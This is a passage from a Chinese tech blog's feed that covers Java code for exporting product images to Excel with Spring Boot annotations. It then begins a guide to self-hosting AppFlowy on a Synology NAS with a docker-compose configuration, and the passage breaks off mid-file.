(dict != <span class="literal">null</span>) &#123;  </span><br><span class="line">            <span class="keyword">for</span> (Map.Entry&lt;String, String&gt; entry : dict.entrySet()) &#123;  </span><br><span class="line">                <span class="keyword">if</span> (entry.getValue().equals(dictLabel)) &#123;  </span><br><span class="line">                    <span class="keyword">return</span> entry.getKey();  </span><br><span class="line">                &#125;            </span><br><span class="line">            &#125;        </span><br><span class="line">        &#125;        </span><br><span class="line">        <span class="keyword">return</span> dictLabel;  </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="带图片的导出">带图片的导出</h3><p>导出肯定会碰到有图片导出的情况，这种情况也是支持的。主要通过<code>@ExcelImage</code>注解实现。如下代码使用的是生成的base64图片，当然<strong>本地图片和图片链接</strong>也是支持的。支持给图片设置excel中的<strong>默认展示大小和对齐方式</strong>。<br>图片列表也是支持的。<br>示例代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/export&quot;)</span>  </span><br><span class="line"><span class="meta">@ExportExcel(name = &quot;商品图片列表&quot;, sheets = @Sheet(sheetName = &quot;商品信息&quot;, clazz = ProductImageDTO.class))</span>  </span><br><span class="line"><span class="keyword">public</span> List&lt;ProductImageDTO&gt; <span class="title function_">exportWithImages</span><span class="params">()</span> &#123;  </span><br><span class="line">    List&lt;ProductImageDTO&gt; products = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 生成示例图片数据（彩色方块）  </span></span><br><span class="line">    <span class="type">byte</span>[] redImage = generateColorSquare(<span class="number">120</span>, <span class="number">120</span>, <span class="number">255</span>, <span class="number">0</span>, <span class="number">0</span>); <span class="comment">// 红色方块  </span></span><br><span class="line">    <span class="type">byte</span>[] greenImage = generateColorSquare(<span class="number">80</span>, <span class="number">80</span>, <span class="number">0</span>, <span class="number">255</span>, <span class="number">0</span>); <span class="comment">// 绿色方块  </span></span><br><span class="line">    <span class="type">byte</span>[] blueImage = generateColorSquare(<span class="number">100</span>, <span class="number">100</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">255</span>); <span class="comment">// 蓝色方块  </span></span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 商品1：使用 Base64 图片  </span></span><br><span class="line">    <span class="type">ProductImageDTO</span> <span class="variable">product1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProductImageDTO</span>();  </span><br><span class="line">    product1.setId(<span class="number">1L</span>);  </span><br><span class="line">    product1.setName(<span class="string">&quot;iPhone 15 Pro&quot;</span>);  </span><br><span class="line">    product1.setPrice(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;7999.00&quot;</span>));  </span><br><span class="line">    product1.setMainImage(<span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(redImage));  </span><br><span class="line">    product1.setThumbnail(greenImage);  </span><br><span class="line">    product1.setImageList(Arrays.asList(<span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(blueImage),  </span><br><span class="line">          <span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(redImage)));  </span><br><span class="line">    product1.setStock(<span class="number">100</span>);  </span><br><span class="line">    product1.setDescription(<span class="string">&quot;最新款 iPhone 15 Pro，A17 Pro 芯片&quot;</span>);  </span><br><span class="line">    products.add(product1);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 商品2：使用字节数组  </span></span><br><span class="line">    <span class="type">ProductImageDTO</span> <span class="variable">product2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProductImageDTO</span>();  </span><br><span class="line">    product2.setId(<span class="number">2L</span>);  </span><br><span class="line">    product2.setName(<span class="string">&quot;MacBook Pro 16&quot;</span>);  </span><br><span class="line">    product2.setPrice(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;19999.00&quot;</span>));  </span><br><span class="line">    product2.setMainImage(<span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(blueImage));  </span><br><span class="line">    product2.setThumbnail(redImage);  </span><br><span class="line">    product2.setImageList(Arrays.asList(<span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(greenImage),  </span><br><span class="line">          <span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(blueImage)));  </span><br><span class="line">    product2.setStock(<span class="number">50</span>);  </span><br><span class="line">    product2.setDescription(<span class="string">&quot;16 英寸 MacBook Pro，M3 Max 芯片&quot;</span>);  </span><br><span class="line">    products.add(product2);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 商品3：使用不同尺寸的图片  </span></span><br><span class="line">    <span class="type">byte</span>[] largeImage = generateColorSquare(<span class="number">150</span>, <span class="number">150</span>, <span class="number">255</span>, <span class="number">165</span>, <span class="number">0</span>); <span class="comment">// 橙色方块  </span></span><br><span class="line">    <span class="type">ProductImageDTO</span> <span class="variable">product3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProductImageDTO</span>();  </span><br><span class="line">    product3.setId(<span class="number">3L</span>);  </span><br><span class="line">    product3.setName(<span class="string">&quot;iPad Air&quot;</span>);  </span><br><span class="line">    product3.setPrice(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;4799.00&quot;</span>));  </span><br><span class="line">    product3.setMainImage(<span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(largeImage));  </span><br><span class="line">    product3.setThumbnail(greenImage);  </span><br><span class="line">    product3.setImageList(Collections.singletonList(  </span><br><span class="line">          <span class="string">&quot;data:image/png;base64,&quot;</span> + Base64.getEncoder().encodeToString(redImage)));  </span><br><span class="line">    product3.setStock(<span class="number">200</span>);  </span><br><span class="line">    product3.setDescription(<span class="string">&quot;11 英寸 iPad Air，M2 芯片&quot;</span>);  </span><br><span class="line">    products.add(product3);  </span><br><span class="line">  </span><br><span class="line">    log.info(<span class="string">&quot;Exporting &#123;&#125; products with images&quot;</span>, products.size());  </span><br><span class="line">    <span class="keyword">return</span> products;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>话不多说，都在代码里：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="meta">@NoArgsConstructor</span>  </span><br><span class="line"><span class="meta">@AllArgsConstructor</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProductImageDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品ID&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Long id;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品名称&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String name;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品价格&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> BigDecimal price;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 商品主图（单张图片）  </span></span><br><span class="line"><span class="comment">     * &lt;p&gt;  </span></span><br><span class="line"><span class="comment">     * 导出时：支持 URL、本地路径、Base64  </span></span><br><span class="line"><span class="comment">     * 导入时：读取为 Base64 字符串  </span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品主图&quot;)</span>  </span><br><span class="line">    <span class="meta">@ExcelImage(width = 120, height = 120)</span>  </span><br><span class="line">    <span class="keyword">private</span> String mainImage;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 商品缩略图（字节数组）  </span></span><br><span class="line"><span class="comment">     * &lt;p&gt;  </span></span><br><span class="line"><span class="comment">     * 导出时：直接使用字节数组  </span></span><br><span class="line"><span class="comment">     * 导入时：读取为字节数组  </span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品缩略图&quot;)</span>  </span><br><span class="line">    <span class="meta">@ExcelImage(width = 80, height = 80, type = ExcelImage.ImageType.BYTES)</span>  </span><br><span class="line">    <span class="keyword">private</span> <span class="type">byte</span>[] thumbnail;  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">/**  </span></span><br><span class="line"><span class="comment">     * 商品图集（多张图片）  </span></span><br><span class="line"><span class="comment">     * &lt;p&gt;  </span></span><br><span class="line"><span class="comment">     * 导出时：支持多张图片水平排列  </span></span><br><span class="line"><span class="comment">     * 导入时：读取为 Base64 字符串列表  </span></span><br><span class="line"><span class="comment">     * &lt;/p&gt;  </span></span><br><span class="line"><span class="comment">     */</span>  </span><br><span class="line">    <span class="meta">@ExcelProperty(value = &quot;商品图集&quot;, converter = cn.allbs.excel.convert.ImageListConverter.class)</span>  </span><br><span class="line">    <span class="meta">@ExcelImage(width = 100, height = 100)</span>  </span><br><span class="line">    <span class="keyword">private</span> List&lt;String&gt; imageList;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;库存数量&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> Integer stock;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@ExcelProperty(&quot;商品描述&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String description;  </span><br><span class="line">  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/11/02a258151893eb402beb8d8fcf5d5a18.png" alt=""></p><p>篇幅有限，有兴趣可以继续看下一篇中更多的应用方式，有些还是挺实用的。下下篇就没啥用处了，下下下篇可以看看。</p>]]></content>
    
    
    <summary type="html">spring boot项目excel导出功能封装——1.简单导出</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="excel" scheme="https://blog.allbs.cn/tags/excel/"/>
    
    <category term="导入导出" scheme="https://blog.allbs.cn/tags/%E5%AF%BC%E5%85%A5%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>在群晖上安装appflowy，一个带ai的自托管的云笔记应用，支持多端同步</title>
    <link href="https://blog.allbs.cn/posts/d600a67c/"/>
    <id>https://blog.allbs.cn/posts/d600a67c/</id>
    <published>2025-11-02T10:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="情况说明">情况说明</h2><ul><li>群晖923+</li><li>docker部署</li><li>安装为最新的0.10.3版本，github地址：<a href="https://github.com/AppFlowy-IO/AppFlowy">https://github.com/AppFlowy-IO/AppFlowy</a></li><li>事先安装了postgresql、minio、redis，所以下面docker-compose并没有这两个镜像，而是使用外部库。</li><li>理论上需要安装postgres、minio、redis、gotrue、ai（我没用起来，可以不部署）、appflowy-worker、appflowy-web（web端用的，如果只用移动端可以不部署）、appflowy-cloud、appflowy-admin_frontend（ 我没用起来，可能是配置问题，可以不部署）、nginx（不嫌麻烦的话可以用群晖自带的反向代理，我这里用了）</li><li>因为我的console没用起来，所以是直接在配置中先打开了注册，注册完账号后就可以关闭了。</li><li>当前应用没有账号密码注册，只有邮箱验证码，所以必须要有一个可以提供邮件发送的smtp配置。</li><li>群晖某目录下（无所谓哪个目录）结构为：<br><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/DrmahlfyG7YrxrPQRtvuwUgDxp_22s4TGKhRsK_y-zY=.png" alt=""><br><img src="https://to.welape.com:9999/api/file_storage/accd4c6d-5eea-4f02-8924-53089136aa80/v1/blob/f5e78b8b%2Db5f5%2D4970%2Db8d7%2D36772df3f4d4/GaBDeKIQNFi6mIB6mmtM-QCcgHmw-FfDiDbLwbvLGJc=.png" alt=""></li></ul><h2 id="首先贴配置">首先贴配置</h2><h3 id="docker-compose">docker-compose</h3><p>这个没什么，原样贴进去就行，但是当前的端口<code>9999</code>需要根据你自己环境替换，只需改nginx的ports里面的别改多了，后续我继续以<code>9999</code>端口示例。关键的是后面的.env，设计到较多的敏感信息，我会进行过滤，注意进行替换</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Essential services for AppFlowy Cloud</span></span><br><span class="line"></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">nginx:</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.27</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">9999</span><span class="string">:80</span>   <span class="comment"># Disable this if you are using TLS</span></span><br><span class="line">      <span class="comment">#- $&#123;NGINX_TLS_PORT:-443&#125;:443</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./nginx/nginx.conf:/etc/nginx/nginx.conf</span></span><br><span class="line">      <span class="comment">#- ./nginx/ssl/certificate.crt:/etc/nginx/ssl/certificate.crt</span></span><br><span class="line">      <span class="comment">#- ./nginx/ssl/private_key.key:/etc/nginx/ssl/private_key.key</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">shared_network</span></span><br><span class="line">      <span class="comment">#- ./nginx_logs:/var/log/nginx</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">gotrue:</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">appflowyinc/gotrue:$&#123;GOTRUE_VERSION:-latest&#125;</span></span><br><span class="line">    <span class="attr">healthcheck:</span></span><br><span class="line">      <span class="attr">test:</span> <span class="string">&quot;curl --fail http://127.0.0.1:9999/health || exit 1&quot;</span></span><br><span class="line">      <span class="attr">interval:</span> <span class="string">5s</span></span><br><span class="line">      <span class="attr">timeout:</span> <span class="string">5s</span></span><br><span class="line">      <span class="attr">retries:</span> <span class="number">12</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="comment"># There are a lot of options to configure GoTrue. You can reference the example config:</span></span><br><span class="line">      <span class="comment"># https://github.com/supabase/auth/blob/master/example.env</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_ADMIN_EMAIL=$&#123;GOTRUE_ADMIN_EMAIL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_ADMIN_PASSWORD=$&#123;GOTRUE_ADMIN_PASSWORD&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_DISABLE_SIGNUP=$&#123;GOTRUE_DISABLE_SIGNUP:-false&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SITE_URL=appflowy-flutter://</span>                           <span class="comment"># redirected to AppFlowy application</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_URI_ALLOW_LIST=**</span>                                      <span class="comment"># adjust restrict if necessary</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_JWT_SECRET=$&#123;GOTRUE_JWT_SECRET&#125;</span>                        <span class="comment"># authentication secret</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_JWT_EXP=$&#123;GOTRUE_JWT_EXP&#125;</span></span><br><span class="line">      <span class="comment"># Without this environment variable, the createuser command will create an admin</span></span><br><span class="line">      <span class="comment"># with the `admin` role as opposed to `supabase_admin`</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_JWT_ADMIN_GROUP_NAME=supabase_admin</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_DB_DRIVER=postgres</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">API_EXTERNAL_URL=$&#123;API_EXTERNAL_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">DATABASE_URL=$&#123;GOTRUE_DATABASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">PORT=9999</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SMTP_HOST=$&#123;GOTRUE_SMTP_HOST&#125;</span>                          <span class="comment"># e.g. smtp.gmail.com</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SMTP_PORT=$&#123;GOTRUE_SMTP_PORT&#125;</span>                          <span class="comment"># e.g. 465</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SMTP_USER=$&#123;GOTRUE_SMTP_USER&#125;</span>                          <span class="comment"># email sender, e.g. noreply@appflowy.io</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SMTP_PASS=$&#123;GOTRUE_SMTP_PASS&#125;</span>                          <span class="comment"># email password</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_MAILER_URLPATHS_CONFIRMATION=/gotrue/verify</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_MAILER_URLPATHS_INVITE=/gotrue/verify</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_MAILER_URLPATHS_RECOVERY=/gotrue/verify</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_MAILER_URLPATHS_EMAIL_CHANGE=/gotrue/verify</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SMTP_ADMIN_EMAIL=$&#123;GOTRUE_SMTP_ADMIN_EMAIL&#125;</span>                <span class="comment"># email with admin privileges e.g. internal@appflowy.io</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_SMTP_MAX_FREQUENCY=$&#123;GOTRUE_SMTP_MAX_FREQUENCY:-1ns&#125;</span>       <span class="comment"># set to 1ns for running tests</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_RATE_LIMIT_EMAIL_SENT=$&#123;GOTRUE_RATE_LIMIT_EMAIL_SENT:-100&#125;</span> <span class="comment"># number of email sendable per minute</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_MAILER_AUTOCONFIRM=$&#123;GOTRUE_MAILER_AUTOCONFIRM:-false&#125;</span>     <span class="comment"># change this to true to skip email confirmation</span></span><br><span class="line">      <span class="comment"># Google OAuth config</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GOOGLE_ENABLED=$&#123;GOTRUE_EXTERNAL_GOOGLE_ENABLED&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GOOGLE_CLIENT_ID=$&#123;GOTRUE_EXTERNAL_GOOGLE_CLIENT_ID&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GOOGLE_SECRET=$&#123;GOTRUE_EXTERNAL_GOOGLE_SECRET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GOOGLE_REDIRECT_URI=$&#123;GOTRUE_EXTERNAL_GOOGLE_REDIRECT_URI&#125;</span></span><br><span class="line">      <span class="comment"># GITHUB OAuth config</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GITHUB_ENABLED=$&#123;GOTRUE_EXTERNAL_GITHUB_ENABLED&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GITHUB_CLIENT_ID=$&#123;GOTRUE_EXTERNAL_GITHUB_CLIENT_ID&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GITHUB_SECRET=$&#123;GOTRUE_EXTERNAL_GITHUB_SECRET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_GITHUB_REDIRECT_URI=$&#123;GOTRUE_EXTERNAL_GITHUB_REDIRECT_URI&#125;</span></span><br><span class="line">      <span class="comment"># Discord OAuth config</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_DISCORD_ENABLED=$&#123;GOTRUE_EXTERNAL_DISCORD_ENABLED&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_DISCORD_CLIENT_ID=$&#123;GOTRUE_EXTERNAL_DISCORD_CLIENT_ID&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_DISCORD_SECRET=$&#123;GOTRUE_EXTERNAL_DISCORD_SECRET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">GOTRUE_EXTERNAL_DISCORD_REDIRECT_URI=$&#123;GOTRUE_EXTERNAL_DISCORD_REDIRECT_URI&#125;</span></span><br><span class="line">    <span class="attr">networks:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">shared_network</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">appflowy_cloud:</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">on-failure</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="number">18000</span><span class="string">:8000</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">RUST_LOG=$&#123;RUST_LOG:-info&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_ENVIRONMENT=production</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_DATABASE_URL=$&#123;APPFLOWY_DATABASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_REDIS_URI=$&#123;APPFLOWY_REDIS_URI&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_GOTRUE_JWT_SECRET=$&#123;GOTRUE_JWT_SECRET&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_GOTRUE_BASE_URL=$&#123;APPFLOWY_GOTRUE_BASE_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_USE_MINIO=$&#123;APPFLOWY_S3_USE_MINIO&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">APPFLOWY_S3_MINIO_URL=$&#123;APPFLOWY_S3_MINIO_URL&#125;</span></span><br><span class="line">      <span class="bullet">-</span> <span 